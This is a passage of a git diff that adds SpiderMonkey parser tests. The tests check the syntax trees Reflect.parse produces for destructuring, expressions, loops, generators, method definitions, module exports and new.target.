index 0000000000..6a455668af
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring-variable-declarations.js
@@ -0,0 +1,58 @@
+// |reftest| slow skip-if(!xulRuntime.shell)
+function test() {
+
+function testVarPatternCombinations(makePattSrc, makePattPatt) {
+ var pattSrcs = makePatternCombinations(n => ("x" + n), makePattSrc);
+ var pattPatts = makePatternCombinations(n => ({ id: ident("x" + n), init: null }), makePattPatt);
+ // It's illegal to have uninitialized const declarations, so we need a
+ // separate set of patterns and sources.
+ var constSrcs = makePatternCombinations(n => ("x" + n + " = undefined"), makePattSrc);
+ var constPatts = makePatternCombinations(n => ({ id: ident("x" + n), init: ident("undefined") }), makePattPatt);
+
+ for (var i = 0; i < pattSrcs.length; i++) {
+ // variable declarations in blocks
+ assertDecl("var " + pattSrcs[i].join(",") + ";", varDecl(pattPatts[i]));
+
+ assertGlobalDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i]));
+ assertLocalDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i]));
+ assertBlockDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i]));
+
+ assertDecl("const " + constSrcs[i].join(",") + ";", constDecl(constPatts[i]));
+
+ // variable declarations in for-loop heads
+ assertStmt("for (var " + pattSrcs[i].join(",") + "; foo; bar);",
+ forStmt(varDecl(pattPatts[i]), ident("foo"), ident("bar"), emptyStmt));
+ assertStmt("for (let " + pattSrcs[i].join(",") + "; foo; bar);",
+ forStmt(letDecl(pattPatts[i]), ident("foo"), ident("bar"), emptyStmt));
+ assertStmt("for (const " + constSrcs[i].join(",") + "; foo; bar);",
+ forStmt(constDecl(constPatts[i]), ident("foo"), ident("bar"), emptyStmt));
+ }
+}
+
+testVarPatternCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "} = 0"),
+ n => ({ id: objPatt([assignProp("a" + n, ident("x" + n)),
+ assignProp("b" + n, ident("y" + n)),
+ assignProp("c" + n, ident("z" + n))]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("{a" + n + ":x" + n + " = 10," + "b" + n + ":y" + n + " = 10," + "c" + n + ":z" + n + " = 10} = 0"),
+ n => ({ id: objPatt([assignProp("a" + n, ident("x" + n), lit(10)),
+ assignProp("b" + n, ident("y" + n), lit(10)),
+ assignProp("c" + n, ident("z" + n), lit(10))]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("[x" + n + "," + "y" + n + "," + "z" + n + "] = 0"),
+ n => ({ id: arrPatt([assignElem("x" + n), assignElem("y" + n), assignElem("z" + n)]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("[a" + n + ", ..." + "b" + n + "] = 0"),
+ n => ({ id: arrPatt([assignElem("a" + n), spread(ident("b" + n))]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("[a" + n + ", " + "b" + n + " = 10] = 0"),
+ n => ({ id: arrPatt([assignElem("a" + n), assignElem("b" + n, lit(10))]),
+ init: lit(0) }));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/destructuring__proto__.js b/js/src/tests/non262/reflect-parse/destructuring__proto__.js
new file mode 100644
index 0000000000..3238904086
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring__proto__.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// |reftest| skip-if(!xulRuntime.shell)
+// bug 963641
+
+Reflect.parse("({ __proto__: null });");
+Reflect.parse("var { __proto__: x } = obj;");
+Reflect.parse("var [{ __proto__: y }] = obj;");
+Reflect.parse("[{ __proto__: y }] = arr;");
+Reflect.parse("({ __proto__: y } = obj);");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+
+
+print("Tests complete");
diff --git a/js/src/tests/non262/reflect-parse/expression-short-circuit-compound-assignment.js b/js/src/tests/non262/reflect-parse/expression-short-circuit-compound-assignment.js
new file mode 100644
index 0000000000..abec4a18af
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/expression-short-circuit-compound-assignment.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+function test() {
+
+assertExpr("(x ??= y)", aExpr("??=", ident("x"), ident("y")));
+assertExpr("(x ||= y)", aExpr("||=", ident("x"), ident("y")));
+assertExpr("(x &&= y)", aExpr("&&=", ident("x"), ident("y")));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/expression.js b/js/src/tests/non262/reflect-parse/expression.js
new file mode 100644
index 0000000000..c91525aa98
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/expression.js
@@ -0,0 +1,193 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// primary expressions
+assertExpr("true", lit(true));
+assertExpr("false", lit(false));
+assertExpr("42", lit(42));
+assertExpr("(/asdf/)", lit(/asdf/));
+assertExpr("this", thisExpr);
+assertExpr("foo", ident("foo"));
+if ("BigInt" in this) {
+ assertExpr("1234n", lit(BigInt(1234)));
+}
+
+// member expressions
+assertExpr("foo.bar", dotExpr(ident("foo"), ident("bar")));
+assertExpr("foo[bar]", memExpr(ident("foo"), ident("bar")));
+assertExpr("foo['bar']", memExpr(ident("foo"), lit("bar")));
+assertExpr("foo[42]", memExpr(ident("foo"), lit(42)));
+
+// optional member expressions
+assertExpr("foo?.bar", optExpr(optDotExpr(ident("foo"), ident("bar"))));
+assertExpr("foo?.bar.baz", optExpr(dotExpr(optDotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo.bar?.baz", optExpr(optDotExpr(dotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo?.bar?.baz", optExpr(optDotExpr(optDotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo?.[bar].baz", optExpr(dotExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo.bar?.[baz]", optExpr(optMemExpr(dotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo[bar]?.[baz]", optExpr(optMemExpr(memExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo?.[bar][baz]", optExpr(memExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo?.['bar']?.['baz']", optExpr(optMemExpr(optMemExpr(ident("foo"), lit("bar")), lit("baz"))));
+assertExpr("foo?.[bar]?.baz", optExpr(optDotExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+
+// delete optional expressions
+assertExpr("\ndelete [] ?. [1]", delOptExpr(optMemExpr(arrExpr([]), lit(1))));
+assertExpr("delete foo?.bar", delOptExpr(optDotExpr(ident("foo"), ident("bar"))));
+assertExpr("delete foo?.bar.baz", delOptExpr(dotExpr(optDotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo.bar?.baz", delOptExpr(optDotExpr(dotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo?.bar?.baz", delOptExpr(optDotExpr(optDotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo?.[bar].baz", delOptExpr(dotExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo.bar?.[baz]", delOptExpr(optMemExpr(dotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo[bar]?.[baz]", delOptExpr(optMemExpr(memExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo?.[bar][baz]", delOptExpr(memExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo?.['bar']?.['baz']", delOptExpr(optMemExpr(optMemExpr(ident("foo"), lit("bar")), lit("baz"))));
+assertExpr("delete foo?.[bar]?.baz", delOptExpr(optDotExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+
+// function expressions
+assertExpr("(function(){})", funExpr(null, [], blockStmt([])));
+assertExpr("(function f() {})", funExpr(ident("f"), [], blockStmt([])));
+assertExpr("(function f(x,y,z) {})", funExpr(ident("f"), [ident("x"),ident("y"),ident("z")], blockStmt([])));
+assertExpr("a => a", arrowExpr([ident("a")], ident("a")));
+assertExpr("(a) => a", arrowExpr([ident("a")], ident("a")));
+assertExpr("a => b => a", arrowExpr([ident("a")], arrowExpr([ident("b")], ident("a"))));
+assertExpr("a => {}", arrowExpr([ident("a")], blockStmt([])));
+assertExpr("a => ({})", arrowExpr([ident("a")], objExpr([])));
+assertExpr("(a, b, c) => {}", arrowExpr([ident("a"), ident("b"), ident("c")], blockStmt([])));
+assertExpr("([a, b]) => {}", arrowExpr([arrPatt([assignElem("a"), assignElem("b")])], blockStmt([])));
+
+// Unary expressions
+assertExpr("(++x)", updExpr("++", ident("x"), true));
+assertExpr("(x++)", updExpr("++", ident("x"), false));
+assertExpr("(+x)", unExpr("+", ident("x")));
+assertExpr("(-x)", unExpr("-", ident("x")));
+assertExpr("(!x)", unExpr("!", ident("x")));
+assertExpr("(~x)", unExpr("~", ident("x")));
+assertExpr("(delete x)", unExpr("delete", ident("x")));
+assertExpr("(typeof x)", unExpr("typeof", ident("x")));
+assertExpr("(void x)", unExpr("void", ident("x")));
+
+// Bug 632026: constant-folding
+assertExpr("typeof(0?0:a)", unExpr("typeof", condExpr(lit(0), lit(0), ident("a"))));
+
+// Binary exporessions
+assertExpr("(x == y)", binExpr("==", ident("x"), ident("y")));
+assertExpr("(x != y)", binExpr("!=", ident("x"), ident("y")));
+assertExpr("(x === y)", binExpr("===", ident("x"), ident("y")));
+assertExpr("(x !== y)", binExpr("!==", ident("x"), ident("y")));
+assertExpr("(x < y)", binExpr("<", ident("x"), ident("y")));
+assertExpr("(x <= y)", binExpr("<=", ident("x"), ident("y")));
+assertExpr("(x > y)", binExpr(">", ident("x"), ident("y")));
+assertExpr("(x >= y)", binExpr(">=", ident("x"), ident("y")));
+assertExpr("(x << y)", binExpr("<<", ident("x"), ident("y")));
+assertExpr("(x >> y)", binExpr(">>", ident("x"), ident("y")));
+assertExpr("(x >>> y)", binExpr(">>>", ident("x"), ident("y")));
+assertExpr("(x + y)", binExpr("+", ident("x"), ident("y")));
+assertExpr("(w + x + y + z)", binExpr("+", binExpr("+", binExpr("+", ident("w"), ident("x")), ident("y")), ident("z")));
+assertExpr("(x - y)", binExpr("-", ident("x"), ident("y")));
+assertExpr("(w - x - y - z)", binExpr("-", binExpr("-", binExpr("-", ident("w"), ident("x")), ident("y")), ident("z")));
+assertExpr("(x * y)", binExpr("*", ident("x"), ident("y")));
+assertExpr("(x / y)", binExpr("/", ident("x"), ident("y")));
+assertExpr("(x % y)", binExpr("%", ident("x"), ident("y")));
+assertExpr("(x | y)", binExpr("|", ident("x"), ident("y")));
+assertExpr("(x ^ y)", binExpr("^", ident("x"), ident("y")));
+assertExpr("(x & y)", binExpr("&", ident("x"), ident("y")));
+assertExpr("(x in y)", binExpr("in", ident("x"), ident("y")));
+assertExpr("(x instanceof y)", binExpr("instanceof", ident("x"), ident("y")));
+
+// Bug 571617: eliminate constant-folding
+assertExpr("2 + 3", binExpr("+", lit(2), lit(3)));
+
+// Assignment expressions
+assertExpr("(x = y)", aExpr("=", ident("x"), ident("y")));
+assertExpr("(x += y)", aExpr("+=", ident("x"), ident("y")));
+assertExpr("(x -= y)", aExpr("-=", ident("x"), ident("y")));
+assertExpr("(x *= y)", aExpr("*=", ident("x"), ident("y")));
+assertExpr("(x /= y)", aExpr("/=", ident("x"), ident("y")));
+assertExpr("(x %= y)", aExpr("%=", ident("x"), ident("y")));
+assertExpr("(x <<= y)", aExpr("<<=", ident("x"), ident("y")));
+assertExpr("(x >>= y)", aExpr(">>=", ident("x"), ident("y")));
+assertExpr("(x >>>= y)", aExpr(">>>=", ident("x"), ident("y")));
+assertExpr("(x |= y)", aExpr("|=", ident("x"), ident("y")));
+assertExpr("(x ^= y)", aExpr("^=", ident("x"), ident("y")));
+assertExpr("(x &= y)", aExpr("&=", ident("x"), ident("y")));
+
+// Conditional expressions
+assertExpr("(x || y)", logExpr("||", ident("x"), ident("y")));
+assertExpr("(x && y)", logExpr("&&", ident("x"), ident("y")));
+assertExpr("(x ?? y)", logExpr("??", ident("x"), ident("y")));
+assertExpr("(w || x || y || z)", logExpr("||", logExpr("||", logExpr("||", ident("w"), ident("x")), ident("y")), ident("z")))
+assertExpr("(x ? y : z)", condExpr(ident("x"), ident("y"), ident("z")));
+
+// Sequence expressions
+assertExpr("(x,y)", seqExpr([ident("x"),ident("y")]))
+assertExpr("(x,y,z)", seqExpr([ident("x"),ident("y"),ident("z")]))
+assertExpr("(a,b,c,d,e,f,g)", seqExpr([ident("a"),ident("b"),ident("c"),ident("d"),ident("e"),ident("f"),ident("g")]));
+
+// Call expressions
+assertExpr("(new Object)", newExpr(ident("Object"), []));
+assertExpr("(new Object())", newExpr(ident("Object"), []));
+assertExpr("(new Object(42))", newExpr(ident("Object"), [lit(42)]));
+assertExpr("(new Object(1,2,3))", newExpr(ident("Object"), [lit(1),lit(2),lit(3)]));
+assertExpr("(String())", callExpr(ident("String"), []));
+assertExpr("(String(42))", callExpr(ident("String"), [lit(42)]));
+assertExpr("(String(1,2,3))", callExpr(ident("String"), [lit(1),lit(2),lit(3)]));
+
+// Optional Call expressions
+assertExpr("(String?.())", optExpr(optCallExpr(ident("String"), [])));
+assertExpr("(String?.(42))", optExpr(optCallExpr(ident("String"), [lit(42)])));
+assertExpr("(String?.(1,2,3))", optExpr(optCallExpr(ident("String"), [lit(1),lit(2),lit(3)])));
+assertExpr("(String?.foo?.())", optExpr(optCallExpr(optDotExpr(ident("String"), ident("foo")), [])));
+assertExpr("(String.foo?.())", optExpr(optCallExpr(dotExpr(ident("String"), ident("foo")), [])));
+assertExpr("(String?.foo)()", callExpr(optExpr(optDotExpr(ident("String"), ident("foo"))), []));
+assertExpr("(String?.foo)?.()", optExpr(optCallExpr(optExpr(optDotExpr(ident("String"), ident("foo"))), [])));
+
+// Array expressions
+assertExpr("[]", arrExpr([]));
+assertExpr("[1]", arrExpr([lit(1)]));
+assertExpr("[1,2]", arrExpr([lit(1),lit(2)]));
+assertExpr("[1,2,3]", arrExpr([lit(1),lit(2),lit(3)]));
+assertExpr("[1,,2,3]", arrExpr([lit(1),null,lit(2),lit(3)]));
+assertExpr("[1,,,2,3]", arrExpr([lit(1),null,null,lit(2),lit(3)]));
+assertExpr("[1,,,2,,3]", arrExpr([lit(1),null,null,lit(2),null,lit(3)]));
+assertExpr("[1,,,2,,,3]", arrExpr([lit(1),null,null,lit(2),null,null,lit(3)]));
+assertExpr("[,1,2,3]", arrExpr([null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,1,2,3]", arrExpr([null,null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,,1,2,3]", arrExpr([null,null,null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,,1,2,3,]", arrExpr([null,null,null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,,1,2,3,,]", arrExpr([null,null,null,lit(1),lit(2),lit(3),null]));
+assertExpr("[,,,1,2,3,,,]", arrExpr([null,null,null,lit(1),lit(2),lit(3),null,null]));
+assertExpr("[,,,,,]", arrExpr([null,null,null,null,null]));
+assertExpr("[1, ...a, 2]", arrExpr([lit(1), spread(ident("a")), lit(2)]));
+assertExpr("[,, ...a,, ...b, 42]", arrExpr([null,null, spread(ident("a")),, spread(ident("b")), lit(42)]));
+assertExpr("[1,(2,3)]", arrExpr([lit(1),seqExpr([lit(2),lit(3)])]));
+assertExpr("[,(2,3)]", arrExpr([null,seqExpr([lit(2),lit(3)])]));
+
+// Object expressions
+assertExpr("({})", objExpr([]));
+assertExpr("({x:1})", objExpr([{ key: ident("x"), value: lit(1) }]));
+assertExpr("({x:x, y})", objExpr([{ key: ident("x"), value: ident("x"), shorthand: false },
+ { key: ident("y"), value: ident("y"), shorthand: true }]));
+assertExpr("({x:1, y:2})", objExpr([{ key: ident("x"), value: lit(1) },
+ { key: ident("y"), value: lit(2) } ]));
+assertExpr("({x:1, y:2, z:3})", objExpr([{ key: ident("x"), value: lit(1) },
+ { key: ident("y"), value: lit(2) },
+ { key: ident("z"), value: lit(3) } ]));
+assertExpr("({x:1, 'y':2, z:3})", objExpr([{ key: ident("x"), value: lit(1) },
+ { key: lit("y"), value: lit(2) },
+ { key: ident("z"), value: lit(3) } ]));
+assertExpr("({'x':1, 'y':2, z:3})", objExpr([{ key: lit("x"), value: lit(1) },
+ { key: lit("y"), value: lit(2) },
+ { key: ident("z"), value: lit(3) } ]));
+assertExpr("({'x':1, 'y':2, 3:3})", objExpr([{ key: lit("x"), value: lit(1) },
+ { key: lit("y"), value: lit(2) },
+ { key: lit(3), value: lit(3) } ]));
+assertExpr("({__proto__:x})", objExpr([{ type: "PrototypeMutation", value: ident("x") }]));
+assertExpr("({'__proto__':x})", objExpr([{ type: "PrototypeMutation", value: ident("x") }]));
+assertExpr("({['__proto__']:x})", objExpr([{ type: "Property", key: comp(lit("__proto__")), value: ident("x") }]));
+assertExpr("({['__proto__']:q, __proto__() {}, __proto__: null })",
+ objExpr([{ type: "Property", key: comp(lit("__proto__")), value: ident("q") },
+ { type: "Property", key: ident("__proto__"), method: true },
+ { type: "PrototypeMutation", value: lit(null) }]));
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/for-loop-destructuring.js b/js/src/tests/non262/reflect-parse/for-loop-destructuring.js
new file mode 100644
index 0000000000..06a745334e
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/for-loop-destructuring.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// destructuring in for-in and for-of loop heads
+
+var axbycz = objPatt([assignProp("a", ident("x")),
+ assignProp("b", ident("y")),
+ assignProp("c", ident("z"))]);
+var xyz = arrPatt([assignElem("x"), assignElem("y"), assignElem("z")]);
+
+assertStmt("for (var {a:x,b:y,c:z} in foo);", forInStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let {a:x,b:y,c:z} in foo);", forInStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ({a:x,b:y,c:z} in foo);", forInStmt(axbycz, ident("foo"), emptyStmt));
+assertStmt("for (var [x,y,z] in foo);", forInStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let [x,y,z] in foo);", forInStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ([x,y,z] in foo);", forInStmt(xyz, ident("foo"), emptyStmt));
+assertStmt("for (var {a:x,b:y,c:z} of foo);", forOfStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let {a:x,b:y,c:z} of foo);", forOfStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ({a:x,b:y,c:z} of foo);", forOfStmt(axbycz, ident("foo"), emptyStmt));
+assertStmt("for (var [x,y,z] of foo);", forOfStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let [x,y,z] of foo);", forOfStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ([x,y,z] of foo);", forOfStmt(xyz, ident("foo"), emptyStmt));
+
+assertStmt("for (const x in foo);",
+ forInStmt(constDecl([{ id: ident("x"), init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const {a:x,b:y,c:z} in foo);",
+ forInStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const [x,y,z] in foo);",
+ forInStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+
+assertStmt("for (const x of foo);",
+ forOfStmt(constDecl([{id: ident("x"), init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const {a:x,b:y,c:z} of foo);",
+ forOfStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const [x,y,z] of foo);",
+ forOfStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+
+assertError("for (x = 22 in foo);", SyntaxError);-
+assertError("for ({a:x,b:y,c:z} = 22 in foo);", SyntaxError);
+assertError("for ([x,y,z] = 22 in foo);", SyntaxError);
+assertError("for (const x = 22 in foo);", SyntaxError);
+assertError("for (const {a:x,b:y,c:z} = 22 in foo);", SyntaxError);
+assertError("for (const [x,y,z] = 22 in foo);", SyntaxError);
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/generators.js b/js/src/tests/non262/reflect-parse/generators.js
new file mode 100644
index 0000000000..14bac5b527
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/generators.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// generators
+
+assertDecl("function* gen() {}", genFunDecl("es6", ident("gen"), [], blockStmt([])));
+assertExpr("(function*() {})", genFunExpr("es6", null, [], blockStmt([])));
+assertExpr("(function* gen() {})", genFunExpr("es6", ident("gen"), [], blockStmt([])));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/lexicals.js b/js/src/tests/non262/reflect-parse/lexicals.js
new file mode 100644
index 0000000000..c42c43c32f
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/lexicals.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// global let is var
+assertGlobalDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+// function-global let is let
+assertLocalDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+// block-local let is let
+assertBlockDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+
+assertDecl("const {x:y} = foo;", constDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/location.js b/js/src/tests/non262/reflect-parse/location.js
new file mode 100644
index 0000000000..7e7a26a9e6
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/location.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Source location information
+var withoutFileOrLine = Reflect.parse("42");
+var withFile = Reflect.parse("42", {source:"foo.js"});
+var withFileAndLine = Reflect.parse("42", {source:"foo.js", line:111});
+
+Pattern({ source: null, start: { line: 1, column: 0 }, end: { line: 1, column: 2 } }).match(withoutFileOrLine.loc);
+Pattern({ source: "foo.js", start: { line: 1, column: 0 }, end: { line: 1, column: 2 } }).match(withFile.loc);
+Pattern({ source: "foo.js", start: { line: 111, column: 0 }, end: { line: 111, column: 2 } }).match(withFileAndLine.loc);
+
+var withoutFileOrLine2 = Reflect.parse("foo +\nbar");
+var withFile2 = Reflect.parse("foo +\nbar", {source:"foo.js"});
+var withFileAndLine2 = Reflect.parse("foo +\nbar", {source:"foo.js", line:111});
+
+Pattern({ source: null, start: { line: 1, column: 0 }, end: { line: 2, column: 3 } }).match(withoutFileOrLine2.loc);
+Pattern({ source: "foo.js", start: { line: 1, column: 0 }, end: { line: 2, column: 3 } }).match(withFile2.loc);
+Pattern({ source: "foo.js", start: { line: 111, column: 0 }, end: { line: 112, column: 3 } }).match(withFileAndLine2.loc);
+
+var nested = Reflect.parse("(-b + sqrt(sqr(b) - 4 * a * c)) / (2 * a)", {source:"quad.js"});
+var fourAC = nested.body[0].expression.left.right.arguments[0].right;
+
+Pattern({ source: "quad.js", start: { line: 1, column: 20 }, end: { line: 1, column: 29 } }).match(fourAC.loc);
+
+// No source location
+
+assertEq("loc" in Reflect.parse("42", {loc:false}), false);
+program([exprStmt(lit(42))]).assert(Reflect.parse("42", {loc:false}));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/methodDefn.js b/js/src/tests/non262/reflect-parse/methodDefn.js
new file mode 100644
index 0000000000..cad9b44435
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/methodDefn.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 924672: Method definitions
+assertExpr("b = { a() { } }", aExpr("=", ident("b"),
+ objExpr([{ key: ident("a"), value: funExpr(ident("a"), [], blockStmt([])), method:
+ true}])));
+
+assertExpr("b = { *a() { } }", aExpr("=", ident("b"),
+ objExpr([{ key: ident("a"), value: genFunExpr("es6", ident("a"), [], blockStmt([])), method:
+ true}])));
+
+// Method definitions without braces
+assertError("({ a() void 0 })", SyntaxError);
+assertError("({ a() 1 })", SyntaxError);
+assertError("({ a() false })", SyntaxError);
+
+// getters and setters
+
+assertExpr("({ get x() { return 42 } })",
+ objExpr([ { key: ident("x"),
+ value: funExpr(ident("get x"), [], blockStmt([returnStmt(lit(42))])),
+ kind: "get" } ]));
+assertExpr("({ set x(v) { return 42 } })",
+ objExpr([ { key: ident("x"),
+ value: funExpr(ident("set x"), [ident("v")], blockStmt([returnStmt(lit(42))])),
+ kind: "set" } ]));
+
+// Bug 1073809 - Getter/setter syntax with generators
+assertExpr("({*get() { }})", objExpr([{ type: "Property", key: ident("get"), method: true,
+ value: genFunExpr("es6", ident("get"), [], blockStmt([]))}]));
+assertExpr("({*set() { }})", objExpr([{ type: "Property", key: ident("set"), method: true,
+ value: genFunExpr("es6", ident("set"), [], blockStmt([]))}]));
+assertError("({*get foo() { }})", SyntaxError);
+assertError("({*set foo() { }})", SyntaxError);
+
+assertError("({ *get 1() {} })", SyntaxError);
+assertError("({ *get \"\"() {} })", SyntaxError);
+assertError("({ *get foo() {} })", SyntaxError);
+assertError("({ *get []() {} })", SyntaxError);
+assertError("({ *get [1]() {} })", SyntaxError);
+
+assertError("({ *set 1() {} })", SyntaxError);
+assertError("({ *set \"\"() {} })", SyntaxError);
+assertError("({ *set foo() {} })", SyntaxError);
+assertError("({ *set []() {} })", SyntaxError);
+assertError("({ *set [1]() {} })", SyntaxError);
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/module-export-name.js b/js/src/tests/non262/reflect-parse/module-export-name.js
new file mode 100644
index 0000000000..405e62767a
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/module-export-name.js
@@ -0,0 +1,117 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+function moduleRequest(source, assertions) {
+ return {
+ type: "ModuleRequest",
+ source,
+ assertions,
+ };
+}
+
+function importAssertion(key, value) {
+ return {
+ type: "ImportAssertion",
+ key,
+ value,
+ };
+}
+
+function importDecl(specifiers, moduleRequest) {
+ return {
+ type: "ImportDeclaration",
+ specifiers,
+ moduleRequest,
+ };
+}
+
+function importSpec(id, name) {
+ return {
+ type: "ImportSpecifier",
+ id,
+ name,
+ };
+}
+
+function exportDecl(declaration, specifiers, moduleRequest, isDefault) {
+ return {
+ type: "ExportDeclaration",
+ declaration,
+ specifiers,
+ moduleRequest,
+ isDefault,
+ };
+}
+
+function exportSpec(id, name) {
+ return {
+ type: "ExportSpecifier",
+ id,
+ name,
+ };
+}
+
+function exportNamespaceSpec(name) {
+ return {
+ type: "ExportNamespaceSpecifier",
+ name,
+ };
+}
+
+function assertModule(src, patt) {
+ program(patt).assert(Reflect.parse(src, {target: "module"}));
+}
+
+assertModule(`
+ import {"x" as y} from "module";
+`, [
+ importDecl([importSpec(literal("x"), ident("y"))], moduleRequest(literal("module"), [])),
+]);
+
+assertModule(`
+ var x;
+ export {x as "y"};
+`, [
+ varDecl([{id: ident("x"), init: null}]),
+ exportDecl(null, [exportSpec(ident("x"), literal("y"))], null, false),
+]);
+
+assertModule(`
+ export {x as "y"} from "module";
+`, [
+ exportDecl(null, [exportSpec(ident("x"), literal("y"))], moduleRequest(literal("module"), []), false),
+]);
+
+assertModule(`
+ export {"x" as y} from "module";
+`, [
+ exportDecl(null, [exportSpec(literal("x"), ident("y"))], moduleRequest(literal("module"), []), false),
+]);
+
+assertModule(`
+ export {"x" as "y"} from "module";
+`, [
+ exportDecl(null, [exportSpec(literal("x"), literal("y"))], moduleRequest(literal("module"), []), false),
+]);
+
+assertModule(`
+ export {"x"} from "module";
+`, [
+ exportDecl(null, [exportSpec(literal("x"), literal("x"))], moduleRequest(literal("module"), []), false),
+]);
+
+assertModule(`
+ export * as "x" from "module";
+`, [
+ exportDecl(null, [exportNamespaceSpec(literal("x"))], moduleRequest(literal("module"), []), false),
+]);
+
+if (getRealmConfiguration()['importAssertions']) {
+ assertModule(`
+ import {"x" as y} from "module" assert {type: "json"};
+ `, [
+ importDecl([importSpec(literal("x"), ident("y"))], moduleRequest(literal("module"), [importAssertion(ident("type"), literal("json"))])),
+ ]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/reflect-parse/newTarget.js b/js/src/tests/non262/reflect-parse/newTarget.js
new file mode 100644
index 0000000000..3db2c2726d
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/newTarget.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function testNewTarget() {
+
+ // new.target is currently valid inside any non-arrow, non-generator function
+ assertInFunctionExpr("new.target", newTarget());
+
+ // even with gratuitous whitespace.
+ assertInFunctionExpr(`new.
+ target`, newTarget());
+
+ // invalid in top-level scripts
+ assertError("new.target", SyntaxError);
+
+ // valid in arrow functions inside functions
+ assertInFunctionExpr("()=>new.target", arrowExpr([], newTarget()));
+ assertError("(() => new.target))", SyntaxError);
+
+ // valid in generators, too!
+ assertStmt("function *foo() { new.target; }", genFunDecl("es6", ident("foo"), [],
